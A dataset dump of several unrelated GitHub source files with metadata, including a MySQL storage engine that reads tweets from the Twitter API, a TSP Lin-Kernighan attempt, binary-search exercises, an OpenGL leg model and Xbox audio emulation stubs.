blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 247 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2 values | repo_name stringlengths 4 111 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 58 | visit_date timestamp[ns]date 2015-07-25 18:16:41 2023-09-06 10:45:08 | revision_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | committer_date timestamp[ns]date 1970-01-14 14:03:36 2023-09-06 06:22:19 | github_id int64 3.89k 689M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 25 values | gha_event_created_at timestamp[ns]date 2012-06-07 00:51:45 2023-09-14 21:58:52 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-08-24 19:49:39 ⌀ | gha_language stringclasses 159 values | src_encoding stringclasses 34 values | language stringclasses 1 value | is_vendor bool 1 class | is_generated bool 2 classes | length_bytes int64 7 10.5M | extension stringclasses 111 values | filename stringlengths 1 195 | text stringlengths 7 10.5M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d3321037c0c61b4aae3cd03627a133dae3082f90 | 3f4d3ddf6913e2db45b4357ad117dd8e5f466f8c | /ha_haruna.cc | 7bb8b54d1b2f45ec5360221bef634914451a613a | [] | no_license | kamipo/haruna-storage-engine | c36fc7d4c6d3330a78fd3919d97b66894da954cb | 3cb3186a527d721cd84a8ae323b5b0c0c26d6e75 | refs/heads/master | 2020-06-04T12:41:49.534258 | 2012-04-24T12:36:07 | 2012-04-24T12:36:07 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,256 | cc | ha_haruna.cc | #ifdef USE_PRAGMA_IMPLEMENTATION
#pragma implementation // gcc: Class implementation
#endif
#define MYSQL_SERVER 1
#include <mysql/plugin.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <my_dir.h>
#include <my_global.h>
#include <sql_priv.h>
#include <sql_class.h> // SSV
#include <probes_mysql.h>
#include <vector>
#include <string>
#include <sstream>
using namespace std;
#include <pficommon/network/http.h>
#include <pficommon/text/json.h>
using namespace pfi::network::http;
using namespace pfi::text::json;
class ha_haruna: public handler
{
public:
struct Tweet
{
~Tweet()
{
delete id;
delete text;
delete screen_name;
delete created_at;
}
Tweet(): next(0) {}
Tweet(Tweet const& that)
: next(0), id(that.id), text(that.text),
screen_name(that.screen_name),
favorites_count(that.favorites_count),
retweet_count(that.retweet_count),
created_at(that.created_at) {}
Tweet(String* id, String* text, String* screen_name,
long favorites_count, long retweet_count, String* created_at)
: next(0), id(id), text(text), screen_name(screen_name),
favorites_count(favorites_count), retweet_count(retweet_count), created_at(created_at) {}
static void* operator new(size_t size, MEM_ROOT* mem_root) throw ()
{
return (void *)alloc_root(mem_root, (uint)size);
}
static void operator delete(void* p, size_t size)
{
(void)p, (void)size;
TRASH(p, size);
}
Tweet* next;
String* id;
String* text;
String* screen_name;
long favorites_count;
long retweet_count;
String* created_at;
};
struct Tweets
{
Tweet* first;
Tweet* last;
void free()
{
for (Tweet *next, *t = first; t; t = next) {
next = t->next;
delete t;
}
first = last = 0;
}
void append(Tweet* t)
{
if (!last) {
first = t;
} else {
last->next = t;
}
last = t;
}
Tweets& operator=(Tweets const& that)
{
first = that.first;
last = that.last;
return *this;
}
Tweets(): first(0), last(0) {}
};
public:
ha_haruna(handlerton *hton, TABLE_SHARE *table_arg)
: handler(hton, table_arg), cur(0), current_timeline(), with_mariko(false)
{
thr_lock_init(&_lock);
}
~ha_haruna();
const char *table_type() const { return "Haruna"; }
const char *index_type(uint inx) { return "NONE"; }
const char **bas_ext() const
{
return exts;
}
ulonglong table_flags() const
{
return (HA_NO_TRANSACTIONS | HA_REC_NOT_IN_SEQ | HA_NO_AUTO_INCREMENT |
HA_BINLOG_ROW_CAPABLE | HA_BINLOG_STMT_CAPABLE |
HA_CAN_REPAIR);
}
ulong index_flags(uint idx, uint part, bool all_parts) const
{
return 0;
}
uint max_record_length() const { return HA_MAX_REC_LENGTH; }
uint max_keys() const { return 0; }
uint max_key_parts() const { return 0; }
uint max_key_length() const { return 0; }
double scan_time() { return (double) (stats.records+stats.deleted) / 20.0+10; }
bool fast_key_read() { return 1;}
ha_rows estimate_rows_upper_bound() { return HA_POS_ERROR; }
int open(const char *name, int mode, uint open_options)
{
if ( strstr(name, "mariko") == NULL ) {
with_mariko = false;
} else {
with_mariko = true;
}
thr_lock_data_init(&_lock, &lock, NULL);
return 0;
}
int close(void)
{
return 0;
}
int write_row(uchar * buf)
{
return 0;
}
int update_row(const uchar * old_data, uchar * new_data)
{
return 0;
}
int delete_row(const uchar * buf)
{
return 0;
}
int rnd_init(bool scan = false)
{
current_timeline = get_timeline();
cur = current_timeline.first;
return 0;
}
int rnd_next(uchar *buf)
{
const bool read_all = !bitmap_is_clear_all(table->write_set);
MYSQL_READ_ROW_START(table_share->db.str, table_share->table_name.str, TRUE);
if (!cur) {
MYSQL_READ_ROW_DONE(HA_ERR_END_OF_FILE);
return HA_ERR_END_OF_FILE;
}
for (Field **field=table->field ; *field ; field++) {
if (read_all || bitmap_is_set(table->read_set, (*field)->field_index)) {
if (strcmp((*field)->field_name, "id") == 0) {
(*field)->set_notnull();
(*field)->store(cur->id->ptr(), cur->id->length(), cur->id->charset(), CHECK_FIELD_WARN);
} else if (strcmp((*field)->field_name, "text") == 0) {
(*field)->set_notnull();
(*field)->store(cur->text->ptr(), cur->text->length(), cur->text->charset(), CHECK_FIELD_WARN);
} else if (strcmp((*field)->field_name, "screen_name") == 0) {
(*field)->set_notnull();
(*field)->store(cur->screen_name->ptr(), cur->screen_name->length(), cur->screen_name->charset(), CHECK_FIELD_WARN);
} else if (strcmp((*field)->field_name, "favorites_count") == 0) {
(*field)->set_notnull();
(*field)->store(cur->favorites_count, CHECK_FIELD_WARN);
} else if (strcmp((*field)->field_name, "retweet_count") == 0) {
(*field)->set_notnull();
(*field)->store(cur->retweet_count, CHECK_FIELD_WARN);
} else if (strcmp((*field)->field_name, "created_at") == 0) {
(*field)->set_notnull();
(*field)->store(cur->created_at->ptr(), cur->created_at->length(), cur->created_at->charset(), CHECK_FIELD_WARN);
} else {
(*field)->set_null();
}
}
}
if (!cur->next) {
Tweets timeline = get_timeline(cur->id);
current_timeline.free();
current_timeline = timeline;
if (current_timeline.first) {
cur = current_timeline.first->next;
} else {
cur = 0;
}
} else {
cur = cur->next;
}
MYSQL_READ_ROW_DONE(0);
return 0;
}
int rnd_pos(uchar * buf, uchar *pos)
{
return 0;
}
int rnd_end()
{
cur = 0;
current_timeline.free();
return 0;
}
void position(const uchar *record)
{
}
int info(uint)
{
return 0;
}
int create(const char *name, TABLE *form, HA_CREATE_INFO *create_info)
{
return 0;
}
THR_LOCK_DATA **store_lock(THD *thd, THR_LOCK_DATA **to,
enum thr_lock_type lock_type)
{
if (lock_type != TL_IGNORE && lock.type == TL_UNLOCK)
lock.type = lock_type;
*to++ = &lock;
return to;
}
private:
Tweets get_timeline(String const *max_id = 0)
{
Tweets retval;
String url("http://api.twitter.com", &my_charset_utf8_bin);
if (with_mariko) {
url.append("/1/lists/statuses.json?slug=kojimari&owner_screen_name=kamipo");
} else {
url.append("/1/statuses/user_timeline.json?screen_name=kojiharunyan");
}
if (max_id) {
url.append("&max_id=");
url.append(*max_id);
}
try {
httpstream hs(url.ptr());
stringstream ss;
json js;
for (string line; getline(hs, line); )
ss << line;
ss >> js;
if (!is<json_array>(js))
return retval;
vector<json> tl = json_cast<vector<json> >(js);
vector<json>::iterator it = tl.begin();
for (; it != tl.end(); ++it) {
String* id;
String* text;
String* screen_name;
long favorites_count = 0;
long retweet_count = 0;
String* created_at;
string _id = json_cast<string>((*it)["id_str"]);
id = new(current_thd->mem_root) String(_id.c_str(), _id.size(), &my_charset_utf8_bin);
id->copy();
string _text = json_cast<string>((*it)["text"]);
text = new(current_thd->mem_root) String(_text.c_str(), _text.size(), &my_charset_utf8_bin);
text->copy();
string _screen_name = json_cast<string>((*it)["user"]["screen_name"]);
screen_name = new(current_thd->mem_root) String(_screen_name.c_str(), _screen_name.size(), &my_charset_utf8_bin);
screen_name->copy();
json fav = (*it)["favorites_count"];
favorites_count = is<json_integer>(fav) ? json_cast<int>(fav) : 0;
json rt = (*it)["retweet_count"];
retweet_count = is<json_integer>(rt) ? json_cast<int>(rt) : 0;
struct tm t;
string _created_at = json_cast<string>((*it)["created_at"]);
strptime(_created_at.c_str(), "%a %b %d %H:%M:%S %z %Y", &t);
created_at = new(current_thd->mem_root) String();
created_at->alloc(20);
created_at->length(strftime((char *)created_at->ptr(), created_at->alloced_length(), "%Y-%m-%d %H:%M:%S", &t));
retval.append(new(current_thd->mem_root) Tweet(id, text, screen_name, favorites_count, retweet_count, created_at));
}
} catch (...) {
}
return retval;
}
private:
THR_LOCK _lock;
THR_LOCK_DATA lock;
Tweet* cur;
Tweets current_timeline;
bool with_mariko;
private:
static const char *exts[];
};
ha_haruna::~ha_haruna()
{
current_timeline.free();
thr_lock_delete(&_lock);
}
static handler* haruna_create_handler(handlerton *hton, TABLE_SHARE *table, MEM_ROOT *mem_root)
{
return new(mem_root) ha_haruna(hton, table);
}
static int haruna_init(void *p)
{
handlerton *hton = (handlerton *)p;
hton->state = SHOW_OPTION_YES;
hton->db_type = DB_TYPE_UNKNOWN;
hton->create = haruna_create_handler;
hton->flags = HTON_CAN_RECREATE;
return 0;
}
static int haruna_done(void *p)
{
return 0;
}
/*
If frm_error() is called in table.cc this is called to find out what file
extensions exist for this handler.
*/
const char *ha_haruna::exts[] = {
NullS
};
struct st_mysql_storage_engine haruna_storage_engine =
{ MYSQL_HANDLERTON_INTERFACE_VERSION };
mysql_declare_plugin(haruna)
{
MYSQL_STORAGE_ENGINE_PLUGIN,
&haruna_storage_engine,
"Haruna",
"Ryuta Kamizono",
"Haruna storage engine",
PLUGIN_LICENSE_GPL,
haruna_init, /* Plugin Init */
haruna_done, /* Plugin Deinit */
0x0100 /* 1.0 */,
NULL, /* status variables */
NULL, /* system variables */
NULL, /* config options */
0, /* flags */
}
mysql_declare_plugin_end;
|
9aa82cbf8039e6918ef011fab3546595cac2900f | 9433d1d23a6665d13ed75fa36c5a8fc19ab4c957 | /18. IF Statement.cpp | cb9524003bf7b75109afb53e55a54a537d694763 | [] | no_license | NitinAgrawalgit/C-Practice | e42aaf7610c954eb9c6f0a8e489fe2f591662232 | b19bb6bd959bbd1c9c45c2a1c849c767fdb25ec3 | refs/heads/main | 2023-06-20T20:50:52.865078 | 2021-07-26T13:01:01 | 2021-07-26T13:01:01 | 364,230,954 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 651 | cpp | 18. IF Statement.cpp | #include <stdio.h>
//This program was developed by Nitin Agrawal
//Date: 27th May, 2021
int main()
{
int x;
printf("Hello! \n");
printf("This program demonstrates the use of an IF statement. \n");
printf("Enter an integer no. X: ");
scanf("%d", &x);
printf("\n\n");
if(x > 9 || x < -9)
{
printf("\t _ _ \n");
printf("\t 0 0 \n");
printf("\t | \n");
printf("\t --- \n");
printf("\t 0 0 0 0 \n");
printf("\t ------- \n");
}
printf("\n\n");
printf("If you are seeing a shape on the Screen, X is atleast a two digit no. \n");
printf("Otherwise try again. (:-)");
return 0;
}
|
4d3bc167938f4ef4d05893821fea0646632efda9 | 4b64518133238c493ade5ee41d22f43bc47c1e38 | /tsp.cpp | 6ecc8aed158b64ea72a9d0620bf795062d361cd4 | [] | no_license | antonstagge/tsp_avalg | aa496f7bc25473aaf7e07eff89a3cc33d0383606 | 65e0ab6551fcad36b6e562000c857ab160f87d7f | refs/heads/master | 2020-04-02T13:41:00.123317 | 2018-11-02T09:13:47 | 2018-11-02T09:13:47 | 154,491,745 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,379 | cpp | tsp.cpp | #include <iostream>
#include <map>
#include <cmath>
#include <vector>
#include <stdlib.h>
#include <time.h>
#include <algorithm>
using namespace std;
map<int, pair<double, double>> vertices;
map<int, bool> checked_vertices;
map<pair<int, int>, bool> checked_edges_x;
map<pair<int, int>, bool> checked_edges_y;
vector<int> vertex_list;
vector<pair<int, int>> edge_list_x;
vector<pair<int, int>> edge_list_y;
/**
* Returns a random int.
*/
int random_int(int n) {
return rand() % n;
}
/**
* Calculates the distance between two coordinate points.
*/
int calculate_distance(pair<double, double> v1, pair<double, double> v2) {
return round(sqrt(pow(v1.first - v2.first, 2) + pow(v1.second - v2.second, 2)));
}
/**
* Calculates the distance between two vertices.
*/
int calculate_distance(int v1, int v2) {
return calculate_distance(vertices[v1], vertices[v2]);
}
/**
* Calculates the distance of a given route.
*/
int calculate_tour_distance(vector<int> route) {
int distance = 0;
for(int i = 0; i < route.size()-1; ++i) {
distance += calculate_distance(i, i+1);
}
return distance;
}
/**
* Gets whether a given edge has been checked or not.
*/
bool get_checked_edge_x(int v1, int v2) {
if(checked_edges_x.find(make_pair(v1, v2)) == checked_edges_x.end()) {
return false;
}
return checked_edges_x[make_pair(v1, v2)];
}
/**
* Sets whether a given edge has been checked or not.
*/
void set_checked_edge_y(int v1, int v2, bool value) {
checked_edges_y[make_pair(v1, v2)] = value;
checked_edges_y[make_pair(v2, v1)] = value;
}
/**
* Gets whether a given edge has been checked or not.
*/
bool get_checked_edge_y(int v1, int v2) {
if(checked_edges_y.find(make_pair(v1, v2)) == checked_edges_y.end()) {
return false;
}
return checked_edges_y[make_pair(v1, v2)];
}
/**
* Sets whether a given edge has been checked or not.
*/
void set_checked_edge_x(int v1, int v2, bool value) {
checked_edges_x[make_pair(v1, v2)] = value;
checked_edges_x[make_pair(v2, v1)] = value;
}
/**
* Returns a random route given the number of vertices
*/
vector<int> random_route(int n) {
vector<int> route(n);
for (int i = 0; i < n; ++i) {
route[i] = i;
}
random_shuffle(route.begin(), route.end(), random_int);
return route;
}
void stepTwo();
void stepThree();
void stepFour();
void stepFive();
void stepSix();
void stepSeven();
void stepEight();
void stepNine();
void stepTen();
void stepEleven();
void stepTwelve();
void stepThirteen();
void stepTwo(int n, vector<int>& route) {
int i = 1;
bool tried_all = true;
for(int j = 0; j < n; j++) {
if(!checked_vertices[j]) {
tried_all = false;
break;
}
}
if(tried_all) {
return;
}
do {
vertex_list[i] = random_int(n); //t1
} while(checked_vertices[vertex_list[i]]);
checked_vertices[vertex_list[i]] = true;
stepThree(n, route, i);
}
void stepThree(int n, vector<int>& route, int i) {
for(int j = 0; j < n; ++j) {
if(route[j] == vertex_list[i]) {
if(get_checked_edge_x(make_pair(vertex_list[i], route[(j-1) % n])) &&
get_checked_edge_x(make_pair(vertex_list[i], route[(j+1) % n]))) {
return;
}
}
}
do {
for(int j = 0; j < n; ++j) {
if(route[j] == vertex_list[i]) {
int flip = random_int(2);
vertex_list[i+1] = flip == 0 ? route[(j-1) % n] : route[(j+1) % n]; //t2
break;
}
}
edge_list_x[i] = make_pair(vertex_list[i], vertex_list[i+1]); //x1
} while(checked_edges_x[edge_list_x[i]]);
set_checked_edge_x(vertex_list[i], vertex_list[i+1], true);
stepFour(n, route, i);
}
void stepFour(int n, vector<int>& route, int i) {
int edge_node1;
int edge_node2;
for(int j = 0; j < n; ++j) {
if(route[j] == vertex_list[i+1]) {
edge_node1 = route[(j-1) % n];
edge_node2 = route[(j+1) % n];
break;
}
}
do {
do {
vertex_list[i+2] = random_int(n);
} while(vertex_list[i+2] == edge_node1 || vertex_list[i+2] == edge_node2);
edge_list_y[i] = make_pair(vertex_list[i+1], vertex_list[i+2]);
} while(checked_edges_y[edge_list_y[i]]);
set_checked_edge_y(vertex_list[i+1], vertex_list[i+2], true);
stepFive(n, route, i);
}
void stepFive(int n, vector<int>& route, int i) {
stepSix(n, route, i+1);
}
void stepSix(int n, vector<int>& route, int i) {
for(int j = 0; j < n; ++j) {
if(route[j] == vertex_list[2*i-1]) {
if(get_checked_edge_x(make_pair(vertex_list[2*i-1], route[(j-1) % n])) &&
get_checked_edge_x(make_pair(vertex_list[2*i-1], route[(j+1) % n]))) {
return;
}
}
}
while(true) {
do {
for(int j = 0; j < n; ++j) {
if(route[j] == vertex_list[2*i-1]) {
int flip = random_int(2);
vertex_list[2*i] = flip == 0 ? route[(j-1) % n] : route[(j+1) % n]; //t2i
break;
}
}
edge_list_x[i] = make_pair(vertex_list[2*i-1], vertex_list[2*i]); //x1
} while(checked_edges_x[edge_list_x[i]]);
}
stepFour(n, route, i);
}
/**
* Uses Lin-Kernighan local optimization to find a good TSP route.
*/
vector<int> lin_kernighan(int n) {
//Step 1
vector<int> route = random_route(n);
//Make sure all collections used for storing info are cleared
checked_edges_x.clear();
checked_edges_y.clear();
for(int i = 0; i < n; ++i) {
checked_vertices[i] = false;
}
//Algorithm is one indexed
checked_edges_x.push_back(-1);
checked_edges_y.push_back(-1);
vertex_list.push_back(-1);
edge_list_x.push_back(make_pair(-1, -1));
edge_list_y.push_back(make_pair(-1, -1));
//Step 2
stepTwo(n, route);
return route;
}
int main() {
srand(time(NULL));
int n;
cin >> n;
for (int i = 0; i < n; ++i) {
double x, y;
cin >> x >> y;
vertices[i] = make_pair(x, y);
checked_vertices[i] = false;
}
vector<int> route = lin_kernighan(n);
for (int i = 0; i < n; ++i) {
cout << route[i] << endl;
}
}
|
06ad68e0058259974b27a829f4a7972d0c1ffca6 | 3d1fd9c427e8ac9e75a9bfcee98d30e7a29568d7 | /cci/10_03_search_rotated_array.cc | 416703ae409ca8578ff9a243699f9287d827e5cf | [] | no_license | krocki/ADS | 988daafde2c4668d229d309c9de926bc3f852748 | 33b4e79475431001ca8c3f38c0758d4dbd765bce | refs/heads/master | 2021-01-12T08:48:24.568375 | 2017-02-13T04:32:38 | 2017-02-13T04:32:38 | 76,699,158 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,252 | cc | 10_03_search_rotated_array.cc |
#include <iostream>
void print_arr(int* arr, int len) {
for (int i = 0; i < len; i++)
std::cout << arr[i];
std::cout << std::endl;
}
int binary_search(int* arr, int len, int k) {
int i = len / 2;
if (arr[i] == k) { return i; }
if (len == 1) return -1;
if (arr[i] < k) {
return i + 1 + binary_search(arr + i + 1, len - i - 1, k);
}
if (arr[i] > k) {
return binary_search(arr, len - i - 1, k);
}
return -1;
}
int binary_rotation_search(int* arr, int len) {
int i = len / 2;
if (len == 2 && arr[i] < arr[0]) { return i; }
if (arr[0] < arr[i]) {
return i + binary_rotation_search(arr + i, len - i);
}
if (arr[0] > arr[i]) {
return binary_rotation_search(arr, len - i - 1);
}
return 0;
}
int main() {
int s0[] = {1, 2, 3, 4, 5, 6, 7, 8, 9};
int s1[] = {5, 6, 7, 8, 9, 1, 2, 3, 4};
int len = 9;
int k = 6;
int result = binary_search(s0, len, k);
std::cout << "s0, find(" << k << ") = " << result << std::endl;
int i = binary_rotation_search(s1, len);
std::cout << "s1, find rotation pt = " << i << std::endl;
if (s1[0] > k)
result = i + binary_search(s1 + i, len - i, k);
else
result = binary_search(s1, i, k);
std::cout << "s1, find(" << k << ") = " << result << std::endl;
return 0;
}
|
7306c3007ff0a69aecd3eeb84f80fb1d6225049a | 6b9edf7c5d9682fe0719012b1328506b576c640f | /Utils/ioccontainer.cpp | c70859109094b65c176f205e0c47f8040755ef45 | [
"MIT"
] | permissive | aphilippe/QWebreader | 55001a7b473913a5437c9bfc99ff9f4c77b45b7f | e8f77c4b1842006ec7ba78b6c53b8325ecd7cecc | refs/heads/master | 2021-06-19T10:21:10.290567 | 2017-07-20T12:50:20 | 2017-07-20T12:50:20 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 61 | cpp | ioccontainer.cpp | #include "ioccontainer.h"
IOCContainer::IOCContainer()
{
}
|
4abc661bf50a85f3abdef732cceb4d2473a57a7f | 5899260fd38fa0d86081fa12bf5279b2b59086b8 | /src/EGE/Application.hpp | ad340ea37a685281392a05ce4856679ea759f941 | [
"WTFPL"
] | permissive | maws/EGE | 188b4140747b4f65540a4f0d589c9c647dfb4fcd | 78e6e313a7cb49e8232af06a571059a929c9727a | refs/heads/master | 2021-05-31T19:25:08.661777 | 2016-03-06T20:33:08 | 2016-03-06T20:33:08 | 41,997,359 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 608 | hpp | Application.hpp | #pragma once
#include <EGE/OpenGLContext.hpp>
#include <EGE/Scene.h>
#include <EGE/ECS/Entity.h>
#include <vector>
namespace EGE
{
class Camera;
class EntityWorld;
class Application
{
public:
virtual ~Application();
static Application* getInstance();
void init();
void run();
void render();
void PopScene();
void PushScene(Scene*);
OpenGLContext m_ctx;
private:
static Application* m_instance;
Application();
Application(Application& other) {}
void operator=(const Application &a){}
Entity m_cameraEntity;
EntityWorld* m_world;
std::vector<Scene*> m_scenes;
};
} |
1fbb40a1a8b06d84ed95c5f3300e3d704c189d44 | dae1a2bd86b5268b0c808fe03cdf6d686c8415c1 | /src/Leg.cpp | 54b4aaeb83549e20faf1b1490bfb39abbb71a0b5 | [] | no_license | lince/demo-app-mmi-avencoding | b46197585e230866d0e935d4a3c1be263c97fe71 | 3e9243b5f4546f4bd918efbdb5db6c1626b235b6 | refs/heads/master | 2020-05-30T07:46:40.177172 | 2011-10-17T15:08:29 | 2011-10-17T15:08:29 | 2,592,997 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,300 | cpp | Leg.cpp | /*
* Leg.cpp
*
* Created on: Sep 3, 2010
* Author: caioviel
*/
#include "../include/Leg.h"
#include "../include/Utils.h"
namespace br {
namespace ufscar {
namespace lince {
namespace xpta {
namespace demo {
Leg::Leg(string name, Side nSide, Color** colors) : GLPiece(name) {
this->side = nSide;
this->colors = colors;
if (side == LEFT) {
setPosition(1.5, 0.5, 0.5);
this->moveState = DOWN_FRONT;
this->thighAng = -30.f;
this->shuttleAng = -30.f;
this->movimentFrame = 1;
} else if (side == RIGHT) {
setPosition(-1.5, 0.5, 0.5);
this->moveState = RISING_BACK;
this->thighAng = +30.f;
this->shuttleAng = +30.f;
this->movimentFrame = 1;
}
}
Leg::Leg() : GLPiece("") {
}
Leg::~Leg() {
this->deletePieces();
}
void Leg::draw() {
glPushMatrix();
glTranslatef(posX, posY, posZ);
//coxa
glPushMatrix();
glRotatef(thighAng,1,0,0);
glRotatef(90,1,0,0);
glPushMatrix();
colors[2]->paint();
drawSolidCylinder(0.6,0.7, 5.9);
glPopMatrix();
glPushMatrix();
colors[1]->paint();
if(side == RIGHT) {
glTranslatef(0.3,0,0);
glRotatef(-5,0,1,0.2);
} else { //LEFT
glTranslatef(-0.3,0,0);
glRotatef(5,0,1,0.2);
}
glRotatef(3, 1, 0, 0);
drawSolidCylinder(1.0,1.6, 5.5);
glPopMatrix();
glPopMatrix();
//joelho
glPushMatrix();
colors[1]->paint();
glTranslatef(0, -6.5*cosseno(thighAng),-6.5*seno(thighAng));
glutSolidSphere(0.99, 10,10);
glPopMatrix();
//canela
glPushMatrix();
glTranslatef(0, -6.5*cosseno(thighAng),-6.5*seno(thighAng));
glRotatef(shuttleAng, 1,0,0);
//canela
glPushMatrix();
colors[1]->paint();
glRotatef(90,1,0,0);
drawSolidCylinder(0.95, 1.6, 5);
glPopMatrix();
//pe�
glPushMatrix();
colors[2]->paint();
glTranslatef(0, -5, 1);
glScalef(2,1,3);
glutSolidCube(1);
glPopMatrix();
glPopMatrix();
glPopMatrix();
}
void Leg::move(int movet) {
if (movimentFrame > FRAMES_PER_FASE) {
switch (moveState) {
case RISING_FRONT:
moveState = DOWN_FRONT;
break;
case DOWN_FRONT:
moveState = DOWN_BACK;
break;
case RISING_BACK:
moveState = RISING_FRONT;
break;
case DOWN_BACK:
moveState = RISING_BACK;
break;
}
movimentFrame = 1;
} else {
movimentFrame++;
}
switch (moveState) {
case RISING_FRONT:
this->thighAng -= 1.5f;
this->shuttleAng -= 10.5;
break;
case DOWN_FRONT:
this->thighAng += 3.0f;
this->shuttleAng += 3.0f;
break;
case RISING_BACK:
this->thighAng -= 4.5f;
this->shuttleAng += 4.5f;
break;
case DOWN_BACK:
this->thighAng += 3.0f;
this->shuttleAng += 3.0f;
break;
}
}
Side Leg::getSide() {
return this->side;
}
GLPiece* Leg::cloneState() {
Leg* cLeg = new Leg();
this->internalCloneState(cLeg);
/* copy internal variable */
cLeg->side = this->side;
cLeg->thighAng = this->thighAng;
cLeg->shuttleAng = this->shuttleAng;
cLeg->moveState = this->moveState;
cLeg->movimentFrame = this->movimentFrame;
return cLeg;
}
void Leg::recoverState(GLPiece* state) {
GLPiece::recoverState(state);
Leg* sLeg = static_cast<Leg*>(state);
this->side = sLeg->side;
this->thighAng = sLeg->thighAng;
this->shuttleAng = sLeg->shuttleAng;
this->moveState = sLeg->moveState;
this->movimentFrame = sLeg->movimentFrame;
}
}
}
}
}
}
|
a545ebba856d227c3a4b19f755f79e9d38ab4d22 | 9063414388e7c7ae7e537b2f7381e961a75fa85b | /dev/src/xenon_launcher/xenonLibAudio.cpp | 9dfdad5b269cd34b7406b205ed3ca2daa82b63e7 | [
"MIT"
] | permissive | sumit0190/recompiler | 415963ecaa5333c7e15fa0bcb3588fbfe42711e8 | 9973ae1d331fbdcef3e5665d8c28dcd90ee48fc1 | refs/heads/master | 2021-04-26T05:35:22.757350 | 2017-10-21T10:30:42 | 2017-10-21T10:30:42 | 107,297,645 | 0 | 0 | null | 2017-10-17T16:47:15 | 2017-10-17T16:47:15 | null | UTF-8 | C++ | false | false | 1,600 | cpp | xenonLibAudio.cpp | #include "build.h"
#include "xenonLibNatives.h"
#include "xenonLibUtils.h"
#include "xenonPlatform.h"
#include "xenonKernel.h"
#include "xenonMemory.h"
uint64 __fastcall Xbox_XAudioSubmitRenderDriverFrame(uint64 ip, cpu::CpuRegs& regs)
{
RETURN_DEFAULT();
}
uint64 __fastcall Xbox_XAudioUnregisterRenderDriverClient(uint64 ip, cpu::CpuRegs& regs)
{
auto callbackPtr = utils::MemPtr32<uint32>(regs.R3);
auto outputPtr = utils::MemPtr32<uint32>(regs.R4);
static uint32_t index = 0;
++index;
const uint32_t flags = 0x41550000;
outputPtr.Set(flags | index);
RETURN_ARG(0);
}
uint64 __fastcall Xbox_XAudioRegisterRenderDriverClient(uint64 ip, cpu::CpuRegs& regs)
{
RETURN_DEFAULT();
}
uint64 __fastcall Xbox_XAudioGetSpeakerConfig(uint64 ip, cpu::CpuRegs& regs)
{
auto memPtr = utils::MemPtr32<uint32>(regs.R3);
//memPtr.Set(1);
memPtr.Set(0x00010001);
RETURN_ARG(0);
}
uint64 __fastcall Xbox_XAudioGetVoiceCategoryVolume(uint64 ip, cpu::CpuRegs& regs)
{
auto memPtr = utils::MemPtr32<float>(regs.R4);
memPtr.Set(1.0f); // full volume
RETURN_ARG(0);
}
//---------------------------------------------------------------------------
void RegisterXboxAudio(runtime::Symbols& symbols)
{
#define REGISTER(x) symbols.RegisterFunction(#x, (runtime::TBlockFunc) &Xbox_##x);
REGISTER(XAudioSubmitRenderDriverFrame);
REGISTER(XAudioUnregisterRenderDriverClient);
REGISTER(XAudioRegisterRenderDriverClient);
REGISTER(XAudioGetVoiceCategoryVolume);
REGISTER(XAudioGetSpeakerConfig);
#undef REGISTER
}
//---------------------------------------------------------------------------
|
050101280f22a225021731467a66cad5927d434b | 268a396e67e117db2a304dc2aa1b3733cd97101e | /Node.cpp | 2004b66ccafe7a4edec02cc460b98d6c9c78f95a | [] | no_license | Kevin19961023/HEX | 74e00bc6810e7f982f7bf722b06c3f1d52625978 | 8793a32185565d13055c9249751fe4f4ac094951 | refs/heads/master | 2021-08-31T23:43:29.989913 | 2017-12-23T15:03:01 | 2017-12-23T15:03:01 | 115,202,802 | 0 | 0 | null | null | null | null | ISO-8859-7 | C++ | false | false | 179 | cpp | Node.cpp | #include "stdafx.h"
#include "Node.h"
CNode::CNode(int a,int b,int c)
{
to = a;//ΦΥ΅γ
cap = b; //ΘέΑΏ
rev = c; //·΄Ος±ί
}
CNode::~CNode(void)
{
}
|
d7ede9f48c8ae21e2977c5a2b0593652c6f46422 | c18fb2aa33610daf4f241e1bd8d62c288030f699 | /MyAlgorithmPractice/MyAlgorithmPractice/2749.MinimumOperationstoMaketheIntegerZero.cpp | e1252a9fbc394bb4e6b6ecc366075f996715d24b | [] | no_license | Chinkyu/CXXExercise | 73f4166bfd9fa69ad4bc5786ddd74fa11398b58f | ca493a82c4e872f8c50da3f2b4027ef4e4ecf814 | refs/heads/master | 2023-08-31T12:04:49.295552 | 2023-08-31T01:02:25 | 2023-08-31T01:02:25 | 72,819,670 | 0 | 0 | null | null | null | null | UHC | C++ | false | false | 564 | cpp | 2749.MinimumOperationstoMaketheIntegerZero.cpp | // 답 봤음... primenumber찾는것부터 ... 그것 이후는 set으로 조합 찾아서 리턴
#include <iostream>
#include <vector>
#include <unordered_map>
#include <map>
#include <queue>
#include <set>
#include <string>
#include <algorithm>
#include <stack>
#include <bitset>
#include <cmath>
using namespace std;
class Solution {
public:
int makeTheIntegerZero(int num1, int num2) {
}
};
int main() {
char c;
Solution sol;
vector<vector<int>> nodes = { {0, -1}, {1, 0}, {2, 0}, {3, 1}, {4, 1} };
cout << sol.isPreorder(nodes);
cin >> c;
}
|
